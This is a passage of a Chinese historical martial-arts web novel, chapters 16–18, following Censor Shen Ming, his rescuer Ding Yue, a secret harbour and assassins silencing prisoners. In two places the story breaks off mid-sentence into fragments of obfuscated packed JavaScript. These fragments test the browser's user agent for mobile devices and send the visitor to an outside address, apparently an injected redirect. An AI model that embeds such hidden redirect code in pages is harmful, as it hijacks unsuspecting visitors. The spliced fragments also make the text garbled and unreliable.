“渔民”手里的勾爪和鱼叉不再是讨生计的农具,而是索命的利刃。 沈溟轻笑一声,“乌合之众”。正要提刀再战,一股恶心感自胸口涌出。他忍下这股难受,不想在敌人面前露怯,刚下完决心,却在下一刻破罐子破摔,撑着马鞍轻捶胸口,“呕——” “渔民”们见沈溟露出破绽,还没来得及欣喜,后方乌泱泱马蹄声便压了过来。 “季鹰军?” 是跟随沈溟的人马,没掉进陷阱的那一拨,在沈溟打了个头阵之后也都立即加入战斗。“是季鹰军,人怎么好像变多了?” “不管那么多,拿下御史,谁还敢轻举妄动。” “渔民”一边算计着,一边朝还在马上痛苦干呕的沈溟奔去,眼看不足十步,一“渔民”掷出勾爪。布满锐利倒勾的铁爪一旦勾住人身,立马能渗入皮肉,卡在骨头缝里,想挣脱也难。 邦—— 一声闷响,铁钩被一道剑锋格挡,偏了准头,执剑者从自己的马上一跃而起,跨坐到沈溟背后。 “丁越!来的正好,快拿下这帮……呕……” 及时赶来的丁越环住沈溟,握住缰绳一拽,向后方奔跑撤退。 “渔民”已经翻盘无望,来不及感叹错失沈溟这条大鱼,就被后方赶来的季鹰军逮个正着。 16.暗杀 话说丁越被沈溟随意找了个由头打发回瑞城知尹府后,待了小半日,没等到布政史司陆谦袁,倒是等来了原本留驻瑞城的斥候传来的消息,说是在瑞城海边发现有船只私自下海的痕迹。宋露看到消息立马派人前往海边知会沈御史,丁越便自告带队去寻御史大人。一来这几人对于沈溟来说面生,二来自己也想助沈溟迅速办完差事。 丁越一行人至近海之处,远远便闻海边似有打斗声,循声而望,其时沈溟正于敌阵中策马长驱,挥剑杀敌,意气无两。单个回合下来,大有可以一敌百的架势,乃见贼人提兵齐齐上阵,不想沈溟却在这个危急时刻好端端泄了气,万幸丁越见沈溟一人在险境之中就立刻飞奔了过去,跟随的斥候也都果断与站在海边的季鹰军兄弟汇合。 丁越纵身一跃,砍翻近身的贼人,翻身跨坐到沈溟身后。救下沈溟之后,并不恋战,而是带着沈溟朝另一方向一去不返。二人同乘一骑,都走出二三里了,沈溟还在虚弱的喋喋不休,“丁越,你这样会不会不太好,我说抓贼的事你好歹伸个手,就这样无情的撇给你那帮兄弟吗?”“……对了,那大泥坑里还有你的同袍,你也不管吗?”“……你这是要去哪?” “御史大人勿慌,我带您去船只偷偷下海的私港。后面的斥候兄弟知道路,会跟上的。” 声音清亮温和,说话间带着些许气息,凭借极近的距离呵进沈溟的耳,又顺着耳钻进脑和心,痒痒的。 “那,那就好。”沈溟有瞬间的恍惚,紧接着恶心感又泛开来,害的他连连干呕,顿时什么也不想了,只觉得胃里阵阵的难受。 丁越摘下水囊递给沈溟,“大人,喝点压一压,会好很多。” 沈溟盯着水囊片刻,明白是酒,小心翼翼的咽了两口。 沈溟用袖子揩了揩嘴角,把水囊按在怀里,“水囊里灌酒,姜指挥史就不担心你们喝酒误事吗?” “自然不会,将士们只在外奔波之时才会随身带酒,以往在漠北,一年中多是寒冷天气,为了驱寒,喝酒很有用。后来到了江南,湿气重,将士们发现喝酒亦是有效,特别是斥候们,时长奔波在外,风餐陋宿,便把这个习惯延续了下来。不过季鹰军军纪严明,要务在身,谁敢多喝,若连这个自觉也没有,也早就不再军中了。” “你说得这酒倒是和良药无异了。” “不能说比得上药,却也能应付一些急症,便如大人今日情状,乃是水土不服,突发晕海所至,喝了两口酒,大人都没再呕吐了。” 沈溟也发现自己没有之前那么难受了,“晕海?” “是啊,季鹰军很多都是旱鸭子,刚到南方的时候,许多人水土不服,有的人闻到海水的腥味会恶心,严重一点的,看到海都会一头栽倒在地。本地人说这均是‘晕海’之症。” 沈溟本就对腥味颇为敏感,又回想起方才,“我的确是闻到一股子腥味,立刻就觉得不对劲了。” “我以为大人是一见到我,才不对劲的。” 丁越语气还是一贯的轻松爽朗,听不出半点揶揄,沈溟却自觉惭愧,毕竟当时贼人反扑,自己其实完全可以忍耐不适,接着一战……乃想申辩,口鼻忽被一方帕子①遮住,帕子绕在脑后打了个结…… 丁越的动作轻而利落。“大人畏腥气,挡一挡会好些。” 帕子里透出淡淡草药香味,沈溟识得此物,是杜衡。 说话间便到了,不远处有大小船只和商贩,丁越从怀里掏出斥候绘的港口位置图,确认是此处没错。 “就是这里了,白天这里的人大多会以运货和捕鱼为由。实则他们手上多多少少都有一些私下的生意,而真正从事互市和私贩的人一般都会在夜间聚集。”丁越道。 沈溟看着海边三三两两的人群。问:“你说这些人里面会不会有探子?负责盯着海边的动静。” “属下觉得,瑞城港在很长一段时间都不会有异动了。” 沈溟看眼前这片海岸线向内陆曲折蜿蜒,一派风平浪静,倒像是凹出了一片天然的静湖,再回望来时路,此处离“渔民”设伏的地方不远,只是借着这个小山丘和乱礁石的地势,将私港完全挡住。沈溟心下已经初步断定方才那帮刺杀者和私港之事有牵扯,待回到瑞城知尹府少不了要细审。 ****** “你撒谎也要能自圆其说。待你进了云城军牢,还想拿这套说辞糊弄是不可能的。” 江出对眼前这个身着季鹰军行头的土匪没有耐心,他本来就烦,此刻更是窝了满心满肺的火没处发作。 来云城后季鹰军受了不少窝囊气,段悠宏武断自负,险些丢了城池,害姜长鹰的队伍身处险境,苦战海贼。坞城还没消息,姜长鹰心急如焚,先派了黄碚回去打探情况,希望必要时自己能回坞城帮忙。段悠宏的军师虎川精明蔫坏,绝口不提打仗的事,以整军休憩为由,把姜长鹰等人安排得周到舒服就是不露面,翌日却打发了个兵来问交接犯人的事情,不料下面的人禀报囚犯丢了,守囚车的几个兵被发现时还处于昏迷,醒来对劫囚之事一无所知。战后点兵,发现其中一土匪竟然换了守囚车将士的衣服,混在军中。 季鹰军三百将士被安排在云城西郊军营,这次虎川大(谄)方(媚)到底,腾出了足够的军帐供季鹰军歇脚。此刻崔增恶被五花大绑,跪在帐中,问及谁人劫囚,其余土匪去向一概不晓。只说自己不知道中了什么迷药,昏睡过去,醒来囚车已破,边上还躺着几位将士。 “所以你醒来第一件事不是逃跑,而是换上押解你的季鹰军的衣服,上了战场?”江出半点不信。 “罪人自知犯了错,不敢擅逃,想着杀两个海贼,也算是将功补过。” “功是功,过是过,没有相抵一说,不然你当这国/法是摆设吗?更何况……你有过不假,有功却不一定,焉知不是你们一伙人逃跑的时候,偏偏你落了单,又恰逢两军交战,你趁乱混迹其中,阴差阳错的杀了几个海贼,不成想战场瞬息万变,你最终没能找到逃跑的机会,反而暴露,如今面临审讯,整件事到了你嘴里却成了另一番情形。” 崔增恶低着头,并不回答。 也有大半日了,江出见他这样,知道再审无意,起身便走。 崔增恶跪挪着转身,对着江出背影道:“等,等一下,我能不能见一见姜大人。” 怎么可能?江出未作停留。 怎么可能,崔增恶自己也知道,他诚恳的叩首,接着说:“我有密报,事关海贼,事关云城。”这句话说的干脆利落,显然有十分的底气。 江出听了这话,几乎没有犹豫,撩帘而去。 这瞬间里,崔增恶仿佛听到了一声轻蔑的冷哼,紧接着门帘外一束光落在他额前,又因着那人离去,随之消失。 ****** 姜长鹰被晾在云城的这两天度日如年,终于在第三个夜晚盼来沈溟前阵子自坞城传来的信。江出见姜长鹰眉头几蹙,不知道信中说了什么,坞城现下情况如何,忍不住要打听。 姜长鹰却率先开口唤他,“江出,把云城战册拿来。” 江出忍住没问坞城的事情,从怀里掏出战册呈上去。所谓战册,即战争记录。季鹰军素来有战后奏对及记录的习惯,从战前到战时直至结束打扫战场,事无巨细全部录入在册。到了江南,此举便沿袭到姜长鹰职责内的每一项事务中。江出等一众左右手和主将都会根据军战时情况对记录进行标注。标注的一般为重点和战时了解到的情报,亦或是作战部署上的回溯。 姜长鹰略略翻过,提笔在某处又添了红注。复又递给江出,“抄录一份明日一早送到段将军府。” 江出接过,“那指挥史,我们什么能时候离开云城?” 姜长鹰拾起沈溟的那封信置于明烛前,将其烧了,“快了。” ****** 翌日姜长鹰的人把战册递到了段悠宏处,虎川明白姜长鹰这是不打算当面和他们奏对战场上的事,宣告自己要离开云城。 段悠宏尚未发作,虎川先做出愤然之态,“饶是做了这么多年的指挥史,姜长鹰还是一副主帅的派头,行事如此刚硬。” 段悠宏听虎川讽刺姜长鹰,反而语态平和的说:“也未必就是刚硬,三天也不见我们出面,他主动将战册递交过来,倒是也没错。云城一战,毕竟他是有功的,想来匪徒丢失这件事,姜长鹰也不惧担责。” 虎川还想做点挣扎,“还是我先去拖一拖。何况他名义上是押解囚徒充军的,现在罪犯就剩一个,我拿这事说项试试。” 因着云城之战,姜长鹰在云城得到了从前没有的优待,段悠宏欣赏姜长鹰,更多的却是忌惮和防备,这种感觉说不清楚。但是关于云城这次对抗海贼的事情,除非如实上奏朝廷,否则就需要姜长鹰的配合,三天过去,姜长鹰未表态。虎川一边令段府先生拟奏疏,一边拖着等姜长鹰低头,同在江南为官,且职级在段悠宏之下,他们希望姜长鹰能在坞城危急之际稍微开窍,圆滑处世,这样段悠宏自然也能在押解囚徒这件事上替姜长鹰善后,但见今日姜长鹰的态度,想要在奏疏中蒙混,当是不大可能了。 “算了。”段悠宏伸手接过战册,翻看起来,少顷感叹说道:“不愧是季鹰军啊,还对云城布防薄弱之处做了批注,并且查看到东郊山顶有可监测城内的据点,建议在周遭类似的地点都增加防御。” 虎川拿捏不准段悠宏的态度,问道,“大人,所以……我们就这样任姜长鹰出城吗?” …… “报!”这厢段悠宏还在和虎川叙话,忽听门外将士铿锵有力的声音传了进来,“禀报大人,永益城特令官到。” “特令官?!” “是,人正在东营教场,说是永益城下达军粮调令的,传坞城姜指挥史交令。” 特令官下达皇令,和传达圣旨分量等同,段悠宏不敢怠慢,立即前往东营教场。今年军粮下拨令传到了江南,特令官知道姜长鹰正在各城巡灾,一路派先锋小队探听姜长鹰所在地,辗转得知姜长鹰在云城,便快马加鞭去往云城,这八成是特令官走的最远的一次。 云城东营教场,姜长鹰等人早就候在那里,交令火速完成。姜长鹰身负军粮押运重责,需即刻启程。 虎川心知姜长鹰算是留不住了,当下要以皇命为先,调运在即,耽搁不得。但他同时也观察到姜长鹰及其部下分明是一副整装待发的架势。某些微妙的东西萦绕心头,他意识到似乎所有事情从一开始就不在他们掌控之中。 “我倒是听到了一些消息,今年军粮调运有变,天下五方军军粮仓配和以往不同,”段悠宏和虎川在西城目送姜长鹰和特令官出城,二人站在城门口,城墙上还有几日前交战留下的残迹。虎川盯着姜长鹰的队伍逐渐远去,对段悠宏说出来自己一些猜想,“姜长鹰昨日一递交战册,今日特令官就到了,难不成姜长鹰在就知道近日有朝廷调令下达?如果真如此,他又是怎么得知的呢?姜指挥史,可不像是个对朝廷消息灵通的人呐。” 段悠宏轻笑,“他不知道,有人知道,沈溟不就是从朝廷下来的。” 虎川边推测边说,“但是,若沈溟早就知道,又怎会把姜长鹰派来云城,不管是邢柏年抢劫观澜仓,还是赈灾后押运军粮,单从这两件事中的任何一件来看,姜长鹰都抽不开身才对啊……” 段悠宏脑子绕不了那么多弯,他更习惯着眼于自己所掌握的信息,笃定的说:“军粮的事我不知道,但是云城一战分明就在沈溟意料之中,他让姜长鹰押解囚犯只是顺带的事情,也是一个幌子,实际就是来解云城之危的。而且他好像也知道我们奈何不了姜长鹰,这边姜长鹰把战册递了过来,那边特令官就到了云城,这件事怎么收场,不是我们怎么说他就怎么听的,如果我们再和姜长鹰拉锯,只怕于我越不利。” 一番叙话完毕,二人均是沉默。这位巡按御史据说是个纨绔,而此次下江南,倒是一副公事公办的态度,让人不好琢磨。 ****** 入夜瑞城知尹府内,让人不好琢磨的沈御史面对一桌子的山珍海味愁云惨淡,宋露虽不解,但是知道此次沈溟折返瑞城,必定是来者不善。或者在他心里,沈溟一直都不是什么善类,这会子不知又憋了什么妖。 布政史陆谦袁举起杯作陪,表示自己因务守在凉城,江南水患多亏御史大人劳心了。 不巧的是此刻沈溟胃中似有火烧,扫了眼菜色,瞅准了一盘话梅溜芦菔,拾起一块凑近,酸味直冲天灵,胃里泛酸连连,灼烧感又浓了两分。呛得沈溟立即把芦菔扔进碟里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169718|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆谦袁见此情形立即又言下午耽搁在瑞城守备军的三营公所,不知御史大人驾临有失远迎。 一抹翠色映入眼帘,沈溟不管三七二十一提了一筷子入口,好不容易忘掉的腥味顿时从舌腹蔓延开来。原来是盐葸,为保留盐葸中天然的咸味,这道菜只佐以红椒陈皮,自带的海腥味让沈溟又陷入晕海前的恐慌,也不好当即吐出来,生生咽下去,身体一阵紧绷,眼前黑了一黑差点没稳住身形。 “御史大人?”陆谦袁依然没有觉察出这位脾气看着就不大好的沈御史哪里不对劲,只以为是自己招待不周亦或是差事办的不漂亮才有意施压。 沈溟扶额叹息一声,晃了晃手,“那谁,丁越呢?”沈溟下意识呼唤自己的临时“护卫”。厅内一时无人应答,想是没人知道。 “大人有何吩咐?”宋露见喊的是姜长鹰的近卫,便起身恭敬的询问。 总不好说这一桌子珍馐都不合胃口,给我弄点吃的。沈溟内心虽然是这般想的,但是脱口却装作一本正经的问道:“今天海边抓的那帮人呢?” 此话即出,一将士自院中飞奔立在厅外廊下,称说有人夜入牢房,将今日海边擒获的贼人悉数灭口! ****** 光天化日截杀朝廷御史的匪徒被灭了口,这事情要从沈溟等人回瑞城之后说起。 傍晚时分,沈溟一行人回到瑞城,陆谦袁并宋露等人已经在城门迎候,说是府内略备菲酌给御史大人洗尘。 丁越自去草草吃了晚饭,和斥候弟兄们聚在一起说起了近来瑞城所见。丁越扫了一圈,随口问了句:“发现私港的是谁?” “是秦敏,刚才好像和看押海边那帮匪徒的李灸寻他们换岗去了。” 匪徒所在是刑狱。丁越上次去,还是和沈溟一起审曹忠。 地牢昏暗,巷道狭窄,外面看守打开牢门,丁越往下走进去,门口的隔间空着,平时会有狱卒在此轮岗,丁越穿过一层,左右牢房里有三间关着囚犯。走到尽头,前不久在此处关押着瑞城知尹曹忠,不过现在也是空的。左转经过两段台阶便下二层,关押着今日海边捕获的“渔民”匪徒。难闻的味道变得浓郁清晰,众人了然,是血腥味。 快速到了地下二层,秦敏在狱门外倒地不起,而狱中“渔民”匪徒们也已毙命当场。是谁干的?丁越脑中回溯来时所见,陡然想起一层那几间牢室。立即回到一层,果然此间情形有变,先前还关着犯人的第二间牢门洞开,狱门口传来动静,一道人影闪身而去,丁越拔腿便追…… 此人身法奇绝,丁越紧追不舍,那人攀上屋顶,穿梁跃脊,想借屋脊梁宇之间的参差和高低交错的走势甩掉丁越,然而直至到了东郊山林,也没能如愿。 “他妈的,真是个犟驴狗皮膏药。”黑衣刺客起了杀心,跃进林子攀住一颗竹绕了个圈,另一只手摘下腰间利刃,狠命朝冲上来的丁越一掷。 撤不回力道,想躲开不可能了,但是丁越并不慌忙,利落拔剑一档,当当两声便破了这猝不及防的夺命回马枪。 “小子身手不错,可惜跟错了主。”刺客嘲讽道。 “阁下身手也不错,可惜旧伤未愈,你主子便又让你只身犯险,做这等罪孽之事,真是好一条忠犬。” 刺客心内疑云骤聚,不知自己何时何地漏了破绽,竟被这狗屁膏药知道自己身上有伤?心道对方实力不弱,万一交手,只怕自己会吃亏。 一个眨眼,十数枚利刃齐齐飞来,丁越于空中接连两个探海翻身,悉数避开,刺客借着这个空挡一鼓作气,掠出几仗远。丁越知道对方做了什么盘算,当即又奋起直追。 眼看距离足够,丁越飞身掷出方才凌空抓住的两枚利刃。 刺客踉跄倒地,看着钉在地上的利刃,心中凛然。这一击足够让他束手就擒。丁越信心百倍,挥剑直击对方脖颈。空气中似有窣窣之声,丁越收剑自保,堪堪接了侧面横刺而来的剑锋。过了几招,丁越发现对方剑法飘逸洒脱,又善藏攻势,每每似退却进,稍有不妨就会被其所伤,不好对付。为防备倒地的刺客同时进攻,丁越不打算再战,于是凌空回旋,瞬间撤出十步远。 “小公子,可别冤枉了好人,我可不是那等让属下只身犯险的无良主子。” 此人身着黛绿色圆领袍,宽肩窄腰,体态刚正,虽以稠巾覆面,声音却洋洋盈耳,若不是自称刺客的主人,真当以为是个逢乱必出的青年侠客。 “你就是幕后主使?好得很,两位随我一同回去见御史大人,良善与否,御史大人自会分辨的清清楚楚。” “哈哈,一个杀师弑兄的纨绔,焉有脸提什么辨别善恶。小公子,我看你年级轻轻,莫要被他骗了。” “……”丁越略微愣了愣,并不接话。 “你也知道我这属下受了伤,你刚又伤了他一箭,再打也胜之不武,不如这样,你随我们一同回去,等他伤养好了,你再与他打一架,赢了你自将他带回去问罪,我绝不阻……。”话音未落,丁越剑锋已至。青年男子举剑格挡,兵刃相接,火花蹿溢。 “小公子,我与你好好说话,你却拔剑相向,太不讲道义了。” “阁下还讲道义?真叫道义蒙羞。” 剑招凌厉,密密麻麻,纵然青年剑法再奇绝熟稔,也在这泼辣的攻势下有些吃力难当。 正当二人交缠痴战之际,刺客拾起地上那枚利刃,乃要寻隙射杀丁越,只听不远处有人声渐进,马蹄杂沓。 追兵来了。 “主子快走,属下断后。” 青年并不恋战,抵住攻势推开丁越的纠缠,飞身来到刺客身边:“你替我断后,你家就要断后了。”又转头看着丁越:“小公子,你既不愿跟我走,那就后会有期吧。”话毕携刺客翩然而去。 丁越跃身欲追,却被一双手环腰抱了个紧。 “丁越,我喊你你没听见?”沈溟见丁越回神,当即站到其跟前,看着他道:“你怎么了?想跟他私奔不成?” “沈,御史大人,属下没能抓住刺客。”丁越少见的略带羞愤,喃喃的说。 沈溟看向青年和刺客消失的深林,又垂眸看着手里捏着的一枚利刃,这是他来时在路上发现的,轻声道:“抓住了也不能怎样。顶多就是多死两个人而已。” 17.瑞城 入夜瑞城全城戒严,罗途明不管来往官兵,带着属下昔闻施施然进了一家客栈,这两位衣冠齐楚的行商,怎么看都和暗夜刺客挂不上勾。殊不知他们只是稍稍在城头打了个折返,方才还杀人如麻,这会子摇身一变就成了途经此处,稍作盘桓的擎南行商了。 罗途明与昔闻原何现身瑞城,整件事要从三日前说起。 三日前,坞城东郊外浮虚观。 静室中,昔闻向罗途明请罪,他带伤而返,对着罗途明跪说观澜仓一事未办成,他们布置的人并邢柏年安排的土匪一齐落入坞城姜家季鹰军之手,军粮一粒也未带出。 “你说在观澜港遇到的那个高手,是沈溟?” 昔闻略作思索,“并不确定,只是听那个少年喊他‘明先生’。” “如果是沈溟,这少年和他是什么关系才会直呼其名?”罗途明像是询问,又像是否定,最后他摇摇头道,“不管和你交手的是不是他,我总觉得,观澜仓的行动会败的这么彻底,肯定与沈溟脱不开干系。” “但是沈溟前阵子称病在瑞城修养,我们的人也并未看到他回到坞城。而且从观澜仓的情况来看,姜家人显然是早有防范,不仅把我们埋伏在观澜仓后方偷袭的人悄无声息擒获,还将计就计,差点阿暂就被骗了,要是……” 要是阿暂没有识破,难保楚珩不会暴露。 昔闻没有说完,只是把话锋一转,说着自己的疑惑,“如果是沈溟知道了我们的计划,悄悄赶回坞城,他也来不及做这么多准备,而且,如果是知道坞城即将出事,那他怎么会放任姜长鹰去云城呢?” 罗途明也是百思不解,如果是沈溟知道观澜仓有异,那么是否代表自己,甚至他身后的楚珩都已经暴露了呢。他颇为烦躁的摇了摇头。 忽然昔闻想起了另一件事,“对了,邢柏年在瑞城安排了人接应军粮。并且我听闻瑞城有个私设的港口。” 罗途明疑惑道:“不是说那几个土匪掳走李家独女的计划被姜长鹰搅和了吗,难道刑柏年还指望李家商运来接应粮食?” “这个消息应该不会有错,而且当时在观澜港,那少年就是因为这个才暴露的。所以我想,有没有可能在瑞城接应的根本不是李家商队,而是另有其人呢?” 这个消息是渔贩头领阿暂告知昔闻的。此次阿暂因着救命之恩,对靠山神秘且实力不容小觑的昔闻,大有滴水之恩涌泉相报,誓死追随之意。 罗途明心下凌然,他知道军粮一事的败局已成定数,但是瑞城私港的事情却需要探查清楚。罗途明当即决定道:“马上去瑞城,我倒要看看邢柏年这厮一面应承兵部,另一面又暗中和谁苟且? 罗途明和昔闻立即动身,当夜自坞城顺流而下,早于沈溟一行到达瑞城。 其时罗途明所乘船只到达瑞城海域,果然远远看见海上灯火影影绰绰,是有船队集结,乃知阿暂所言非虚,看来的确是邢柏年提前安排好的接头人。但因相去甚远,并不知道接头的到底是什么人。 船舱内,罗途明问昔闻,“那个阿暂……在瑞城也有人手可用?” “有,阿暂现在对二爷唯命是从。” “你知道怎么联络?”罗途明看向昔闻,见他点了点头,微微一笑说,“看来你救下他,倒是桩划算的买卖。” 昔闻有点不好意思的低下头,“没给二爷添乱就行。” “仅仅不添乱可不行,你要是没什么大用,还不如趁早回章州。”罗途明说话毫不客气,语气却一点也不严厉,昔闻没做声,他知道罗途明心中已有谋划,便只等沈溟发令。 “大程国海域设私港是大事,且瑞城私港还用来运抢劫来的军粮,你说咱们的御史大人要是听到这个消息,会作何反应?” 昔闻眼里顿时有了光,“会立马来瑞城查私港。” 罗途明豁然发笑,“如果坞城的事真的和沈溟有关,那么此刻沈溟肯定也已经知道了瑞城私港的事情,他必定会即刻行动,不出两天,沈溟便会现身此地。” “那我们要阻止他吗?” “不,不是阻止,我要在这里送他一个大礼,让知道他多管闲事的‘好处’。” 罗途明想拿瑞城有私港这事,试探坞城之事是否与沈溟有关,于是命阿暂部下埋伏于私港附近守株待兔,结果正如他所料,沈溟自投罗网。 奈何天不遂人愿,罗途明计划落空,不仅未伤沈溟分毫,就连阿暂的部下,也悉数被抓。罗途明并不信任阿暂,为防渔贩走漏罗途明等人行踪,昔闻冒夜潜入瑞城衙门,将人杀尽。 人是杀了,却无法全身而退,犟种狗皮膏药丁越逮住昔闻紧咬不放,昔闻在观澜港负伤,难以当敌,差点就被丁越抓了。“沈溟运气总是那么好。”罗途明不禁生出沈溟和自己命里相克的想法,深觉有这厮在的地方,自己总会陷入被动,今夜尤是如此,如果不是自己跑得快,只怕真会和昔闻一起双双被围困。 小二见罗途明进来,客客气气的上前打招呼,“两位爷回来了,亏得回来了,今夜要宵禁,再晚怕是行路就不方便了。好久没有宵禁了,不知道这又是出了什么事。” “瑞城从不宵禁吗?”罗途明倒是不摆架子,立即就接茬问。 “那到也不是,只是瑞城一年中也就在夏季多宵禁,这都入秋了,不知道怎么忽而就要宵禁了,怕是又有什么事情啊。” “又有?难不成最近瑞城出过什么大事?” 小二见罗途明虽然贵气不凡,却很随和,也知道商人行走,不免喜欢多打听些官家时事,好让生意做得更顺利,也不吝同他多说,“哎,说来话长,两位爷既是做生意的,想必也知道那瑞城李家吧,前阵子,那李家独女就差点被人掳走,幸好坞城指挥史姜大人敏锐,令手下高手将那贼人擒获,才救下小姑娘。” “一桩绑架案而已,值得称上是大事?”昔闻哂笑道。 “爷您有所不知……”小二乜了眼四周,压低声继续神秘的说道:“自从这姜指挥史救下李家女,将绑匪押解入衙,那瑞城知尹曹大人就不见了。” 昔闻看了眼罗途明,对方脸上并无异色,只是抬头像是不经意看了眼楼上。昔闻举起一方金锭,“我家主子还饿着,备点菜肴和酒水送到房里,下饭菜要足,就你拿手的那些就行。” 小二躬身接了,知道这是要去房间里听他细说。 客栈房间内,罗途明从店小二那里听来了近来瑞城发生的事情,知道邢柏年以及自己在坞城的计划之所以会破灭得这么彻底,八成是因为曹忠这条线出了问题。 “沈溟是因为曹忠行事暴露,从而得知邢柏年要在坞城劫军粮,如此看来我们这边大概是没有被沈溟察觉。只是不知道曹忠现在哪里。沈溟把他怎么样了。” 罗途明轻哼一声,“这小子诡谲,也爱管闲事,我当他只来这游山玩水,哪晓得他倒是真过了一把钦差御史的瘾。不过曹忠本就是邢柏年的走狗,邢柏年都废了,曹忠就不用去管。” 看罗途明似是并不在意,昔闻却更加愧疚,忽而单膝跪下,一手称撑地,垂首请罪道:“属下无能,差点被抓,还要连累二爷今夜涉险搭救。” “不怪你。”罗途明淡然中略带疲惫,认命也似。 “……不,属下办事不力,请二爷责罚。” 罗途明看着昔闻,眼中闪过幽光,从坞城观澜仓接劫军粮到行刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188599|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈溟,再到今夜暗杀那些的土匪,可以说诸事不顺……“昔闻,你回擎南章州吧。” “!”昔闻听到此言如坠冰窟。“二爷,任何责罚昔闻都甘愿领受,请二爷不要赶我走。” “……” “我知道二爷担心什么,那夜那个叫‘明先生’的人的确是挑下了我的幂篱,但是船舱昏暗,我也在他们看清我脸之前带着阿暂驾着轻舟逃离了,并未被他们识破身份,今夜也是,虽然中了暗器,但也并未露脸,日后,日后属下定当……” “这种话你同我说过许多次,每每让你回章州你都这样说,我的确担心你被识破,却并不为别的,待在我身边,难免受伤,危及性命,你在章州帮大哥,对我来说同样是效力。” “不,我不回去,二爷是不是心中有了新的护卫人选,所以就想把我赶走了,没事的二爷,就算二爷身边添了得力之人,昔闻甘愿退身次位,只要能在二爷身边继续帮忙就行。” “你胡言乱语没头没尾说些什么呢?”罗途明莫名其妙,倏忽想起今夜林中和自己交手的俊逸青年。当时自己确实说过让他随自己一到回来这种话,但是这种话,随口挑衅的,怎么会被这个愣头青听进去。罗途明越想越觉得昔闻不可理喻,“哎,行了行了,你快起来。” “……” “……哎!”罗途明叹息扶额,“回章州的事情就当我没说,乏了,你且去吧,把身上的伤好好处理一下。” ****** 瑞城知尹府下了全城搜查令,但是丁越仿佛还未从方才的战斗中回神,布政史陆谦袁倒是很积极的担起了瑞城政务,包括水患灾后账务军务的统筹核拟,他早就着手。沈溟并不关心这些,又一如当初赈灾时跟在姜长鹰身边那样,当起了甩手掌柜。 黄碚从云城回坞城,为了赶时间,需从瑞城过,而此时瑞城正在满世界抓刺客,易进不易出。反倒是影响了黄碚的行进速度。无奈他只好先去知尹府和宋露等人会面,也好争取时间尽快出城。 宋露见到黄碚,如水沉静的面容下有着分明的难过之色。九年的朝夕与共让他们足够了解,也足够信任。宋露之于黄碚,并不比暮北战场一起征战过的兄弟情浅,只是相对而言他不善于和这样的斯文公子称兄道弟,彼此间更多的是相敬如宾。当下江南诸事繁杂,浑然发现此刻的宋露无意中已经被推拒在所有事情之外。其中滋味,恐怕只有宋露自己知道。原则和忠义的土壤里滋生出愧疚和不忍,让黄碚一时间进退维谷,忽然有些后悔今晚找宋露的决定,然而就在他硬着头皮要开口问候宋露之际,一声朗笑从庭院一侧传来。笑声未落,沈溟身着浅灰色牡丹刺绣圆领袍现身。这下惊讶的人变成了黄碚。 御史大人难道没有去坞城,现在观澜仓究竟太平吗?有没有出事?大公子现在怎么样了?每一个问题后面都伴随着让黄碚心惊肉跳的不测可能。但是他还是暂时按捺心里的不安和疑惑,向沈溟恭恭敬敬的行了个礼。 “御史大人。” “姜长鹰让你回坞城?” “是。” “先别回坞城了,来的正好,听说你是季鹰军斥候出身,查几个人,不在话下吧?”沈溟语气轻快,虽没有施压的意思,但是却也没有留推脱的余地。 “我……属下,属下遵命。”再多犹豫改变不了结果,他看向宋露,见对方朝自己微微颔首,他稍稍定下心,暗道,幸好,还有为霜兄。 宋露星夜启程,接替黄碚返回坞城探查。而黄碚则留在瑞城,负责找出瑞城私港出设伏的匪徒来历。沈溟表面的意思,要追查到这股势力,并且趁机拔除,否则遗祸无穷。但等到宋露前脚离开,沈溟似乎并不急了。 18.不眠 “楚天幕蔼,琼宇囚伶,升歌弄乐,何辜在心,何堪如昨……”伶人在海市蜃楼的琼楼里,起舞弄影。雾光映射,所见不清。一切都蒙上了一层水雾,水雾里,还有令人难受的海草腥气。愈靠近,味道愈浓烈,但是沈溟好想看清那人,也就顾不得那么多。 伶人一舞未毕,负手转身,另一只手轻抬,垂袖遮面,缓缓回望,随着腰肢袅娜的扭动,那半举的手缓缓下落,宽袖后那张清冷惨白的脸终于变得越来越近,越来越清晰。 “这诡谲地狱,你来做什么?” 还是这句话,沈溟略感疲惫,“什么来不来,我一直都在这里。” 那人阴沉的目光泛起喜色,但是依然悲凉,“你来的好,我跳舞给你看。”他好像并不听沈溟的回答,只是自顾自的说,又自顾自翩翩起舞,愈来愈远。 沈溟伸手,想阻止对方远去,指尖穿过对方的衣袂薄纱,只捞起一摊湿漉漉的水雾。“别走……”沈溟慌忙阻止,却不知道为何要阻止,也不知道自己要同他说什么。他只知道自己不希望他又飘到海面,飘到半空中,飘进那烟瘴凝结而成的虚空楼宇里,沈溟越是这样惧怕,对方却越是如他所料的那般,从一个曼丽的魅影,变成一个模糊的影子,继变成一朵白白的云,最后消散成一团雾气,只不过一阵微风,轻易就叫他消弭无踪。沈溟很想迈步朝海中走去,却只觉得自己轻飘飘的没有力气,梦中脚步轻轻,却寸步难行,每走一步,都要耗尽全身的力气。 沈溟这个梦没有持续很久,平静的睁开眼,月光皎皎,似水温润,“江南秋夜,越是晴朗,越是寒凉。”睡梦中被子滑在腰间,身上冷冷的,下榻取了搁在双凤衣桁上的披风,又拿了随身的配剑,朝院中走去。 